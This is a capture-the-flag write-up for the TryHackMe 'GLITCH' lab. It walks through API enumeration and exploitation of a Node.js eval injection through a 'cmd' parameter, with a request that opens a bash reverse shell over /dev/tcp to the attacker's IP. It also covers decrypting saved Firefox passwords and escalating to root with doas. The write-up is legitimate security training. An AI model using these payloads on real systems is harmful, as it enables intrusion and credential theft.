TryHackMe-GLITCH
Challenge showcasing a web app and simple privilege escalation. Can you find the glitch?
What is your access token?
Nmap only discovers 1 open port:
PORT STATE SERVICE VERSION 80/tcp open http nginx 1.14.0 (Ubuntu) |_http-server-header: nginx/1.14.0 (Ubuntu) |_http-title: not allowed Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Let’s browse the web service. An interesting script at the end of the page gives the path of an API:
[email protected]:/data/vpn$ curl -s http://10.10.16.166/ <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>not allowed</title> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { height: 100vh; width: 100%; background: url('img/glitch.jpg') no-repeat center center / cover; } </style> </head> <body> <script> function getAccess() { fetch('/api/access') .then((response) => response.json()) .then((response) => { console.log(response); }); } </script> </body> </html>
Browsing this URL provides us with a base64 encoded string that, once decoded, is the token:
[email protected]:/data/vpn$ curl -s http://10.10.16.166/api/access {"token":"dGhpc19pc19ub3RfcmVhbA=="} [email protected]:/data/vpn$ echo "dGhpc19pc19ub3RfcmVhbA==" | base64 -d this_is_not_real
Answer: this_is_not_real
What is the content of user.txt?
Hint: What other methods does the API accept?
After several rabbit holes (/robots.txt
, /secret
), I eventually decided to further enumerate the /api
directory:
[email protected]:/data/GLITCH$ gobuster dir -u http://10.10.16.166/api/ -x php,txt,bak,old,tar,zip -w /usr/share/wordlists/dirb/common.txt =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://10.10.16.166/api/ [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirb/common.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Extensions: zip,php,txt,bak,old,tar [+] Timeout: 10s =============================================================== 2021/04/29 15:12:46 Starting gobuster =============================================================== /access (Status: 200) /items (Status: 200) =============================================================== 2021/04/29 15:16:05 Finished ===============================================================
We discovered another path:
[email protected]:/data/vpn$ curl http://10.10.16.166/api/items {"sins":["lust","gluttony","greed","sloth","wrath","envy","pride"],"errors":["error","error","error","error","error","error","error","error","error"],"deaths":["death"]}
Now, the hint was referring to “other methods”. Let’s try with POST
:
[email protected]:/data/vpn$ curl -XPOST http://10.10.16.166/api/items {"message":"there_is_a_glitch_in_the_matrix"}
Interesting. There must be a missing parameter. Let’s fuzz it:
[email protected]:/data/vpn$ wfuzz -X POST -w /usr/share/wordlists/SecLists/Fuzzing/1-4_all_letters_a-z.txt --hh=45 http://10.10.16.166/api/items?FUZZ=oops /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://10.10.16.166/api/items?FUZZ=oops Total requests: 475254 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000002370: 500 10 L 64 W 1081 Ch "cmd"
Indeed, our assumption was correct, and the URL takes a cmd
parameter.
Vulnerability
With this new statement, let’s try to inject a command:
[email protected]:/data/GLITCH/files$ curl -X POST http://10.10.16.166/api/items?cmd=id <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>Error</title> </head> <body> <pre>ReferenceError: id is not defined<br> at eval (eval at router.post (/var/web/routes/api.js:25:60), <anonymous>:1:1)<br> at router.post (/var/web/routes/api.js:25:60)<br> at Layer.handle [as handle_request] (/var/web/node_modules/express/lib/router/layer.js:95:5)<br> at next (/var/web/node_modules/express/lib/router/route.js:137:13)<br> at Route.dispatch (/var/web/node_modules/express/lib/router/route.js:112:3)<br> at Layer.handle [as handle_request] (/var/web/node_modules/express/lib/router/layer.js:95:5)<br> at /var/web/node_modules/express/lib/router/index.js:281:22<br> at Function.process_params (/var/web/node_modules/express/lib/router/index.js:335:12)<br> at next (/var/web/node_modules/express/lib/router/index.js:275:10)<br> at Function.handle (/var/web/node_modules/express/lib/router/index.js:174:3)</pre> </body> </html>
This error is generated by nodejs
. below is the cleaned code:
ReferenceError: id is not defined at eval (eval at router.post (/var/web/routes/api.js:25:60), <anonymous>:1:1) at router.post (/var/web/routes/api.js:25:60) at Layer.handle [as handle_request] (/var/web/node_modules/express/lib/router/layer.js:95:5) at next (/var/web/node_modules/express/lib/router/route.js:137:13) at Route.dispatch (/var/web/node_modules/express/lib/router/route.js:112:3) at Layer.handle [as handle_request] (/var/web/node_modules/express/lib/router/layer.js:95:5) at /var/web/node_modules/express/lib/router/index.js:281:22 at Function.process_params (/var/web/node_modules/express/lib/router/index.js:335:12) at next (/var/web/node_modules/express/lib/router/index.js:275:10) at Function.handle (/var/web/node_modules/express/lib/router/index.js:174:3)
Proof of concept
Let’s exploit (I found this resource useful: https://medium.com/@sebnemK/node-js-rce-and-a-simple-reverse-shell-ctf-1b2de51c1a44):
[email protected]:/data/GLITCH/files$ curl -X POST "http://10.10.16.166/api/items?cmd=process.cwd()" vulnerability_exploited /var/web
Our injection was successful and we are provided with the current path.
Exploit and reverse shell
Use BurpSuite to send the following request:
POST /api/items?cmd=require("child_process").exec('bash+-c+"bash+-i+>%26+/dev/tcp/10.8.50.72/4444+0>%261"') HTTP/1.1 Host: 10.10.16.166 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: token=value Upgrade-Insecure-Requests: 1 If-None-Match: W/"a9-0aR6bAfiK/DB+A79vs3kEEVvJNc"
We now have a reverse shell:
[email protected]:/data/GLITCH$ rlwrap nc -nlvp 4444 listening on [any] 4444 ... connect to [10.8.50.72] from (UNKNOWN) [10.10.16.166] 49964 bash: cannot set terminal process group (1353): Inappropriate ioctl for device bash: no job control in this shell [email protected]:/var/web$ id id uid=1000(user) gid=1000(user) groups=1000(user),30(dip),46(plugdev)
User flag
Let’s get the user flag
[email protected]:/var/web$ cd /home cd /home [email protected]:/home$ ls -la ls -la total 16 drwxr-xr-x 4 root root 4096 Jan 15 14:13 . drwxr-xr-x 24 root root 4096 Jan 27 10:32 .. drwxr-xr-x 8 user user 4096 Jan 27 10:33 user drwxr-xr-x 2 v0id v0id 4096 Jan 21 09:05 v0id [email protected]:/home$ cd user cd user [email protected]:~$ ls -la ls -la total 48 drwxr-xr-x 8 user user 4096 Jan 27 10:33 . drwxr-xr-x 4 root root 4096 Jan 15 14:13 .. lrwxrwxrwx 1 root root 9 Jan 21 09:05 .bash_history -> /dev/null -rw-r--r-- 1 user user 3771 Apr 4 2018 .bashrc drwx------ 2 user user 4096 Jan 4 13:41 .cache drwxrwxrwx 4 user user 4096 Jan 27 10:32 .firefox drwx------ 3 user user 4096 Jan 4 13:41 .gnupg drwxr-xr-x 270 user user 12288 Jan 4 14:07 .npm drwxrwxr-x 5 user user 4096 Apr 29 16:44 .pm2 drwx------ 2 user user 4096 Jan 21 08:47 .ssh -rw-rw-r-- 1 user user 22 Jan 4 15:29 user.txt [email protected]:~$ cat user.txt cat user.txt THM{i_don't_know_why}
User flag: THM{i_don't_know_why}
What is the content of root.txt?
Hint: My friend says that sudo is bloat.
Lateral move
The enumeration of the /home
directory shows another user: v0id
. As we don’t have the password associated to the user
account we are currently using, it seems reasonable to move laterally to the other user.
Notice a .firefox
directory in the home directory of our user:
[email protected]:~$ ll ll total 52 drwxr-xr-x 9 user user 4096 Apr 29 18:14 ./ drwxr-xr-x 4 root root 4096 Jan 15 14:13 ../ lrwxrwxrwx 1 root root 9 Jan 21 09:05 .bash_history -> /dev/null -rw-r--r-- 1 user user 3771 Apr 4 2018 .bashrc drwx------ 2 user user 4096 Jan 4 13:41 .cache/ drwxr-x--- 3 user user 4096 Apr 29 17:58 .config/ drwxrwxrwx 4 user user 4096 Jan 27 10:32 .firefox/ <---------- interesting! drwx------ 4 user user 4096 Apr 29 17:58 .gnupg/ drwxr-xr-x 270 user user 12288 Jan 4 14:07 .npm/ drwxrwxr-x 5 user user 4096 Apr 29 16:44 .pm2/ drwx------ 2 user user 4096 Apr 29 17:41 .ssh/ -rw-rw-r-- 1 user user 22 Jan 4 15:29 user.txt
Compress the folder and download the archive locally. Download firefox_decrypt and reveal v0id
’s password:
[email protected]:/data/src/firefox_decrypt$ python3 firefox_decrypt.py /data/GLITCH/files/.firefox/ Select the Mozilla profile you wish to decrypt 1 -> hknqkrn7.default 2 -> b5w4643p.default-release 2 Website: https://glitch.thm Username: 'v0id' Password: 'love_the_void'
We can now switch to v0id
:
[email protected]:/var/web$ su v0id su v0id Password: love_the_void [email protected]:/var/web$ id id uid=1001(v0id) gid=1001(v0id) groups=1001(v0id)
Privilege escalation
Unfortunately, the v0id
user is not allowed to run any program with sudo
.
[email protected]:/var/web$ sudo -l sudo -l [sudo] password for v0id: love_the_void Sorry, user v0id may not run sudo on ubuntu.
Searching for files owned by root with the SUID bit set reveals another interesting program though (doas
is working like sudo
):
[email protected]:~$ find / -type f -user root -perm -u=s 2>/dev/null find / -type f -user root -perm -u=s 2>/dev/null /bin/ping /bin/mount /bin/fusermount /bin/umount /bin/su /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/eject/dmcrypt-get-device /usr/lib/openssh/ssh-keysign /usr/lib/snapd/snap-confine /usr/lib/policykit-1/polkit-agent-helper-1 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic /usr/bin/passwd /usr/bin/chfn /usr/bin/newuidmap /usr/bin/chsh /usr/bin/traceroute6.iputils /usr/bin/pkexec /usr/bin/newgidmap /usr/bin/newgrp /usr/bin/gpasswd /usr/bin/sudo /usr/local/bin/doas <---------------------- interesting!
Let’s check:
[email protected]:~$ doas -u root /bin/bash doas -u root /bin/bash Password: love_the_void [email protected]:/home/v0id# cd /root cd /root [email protected]:~# cat root.txt cat root.txt THM{diamonds_break_our_aching_minds}
Root flag: THM{diamonds_break_our_aching_minds}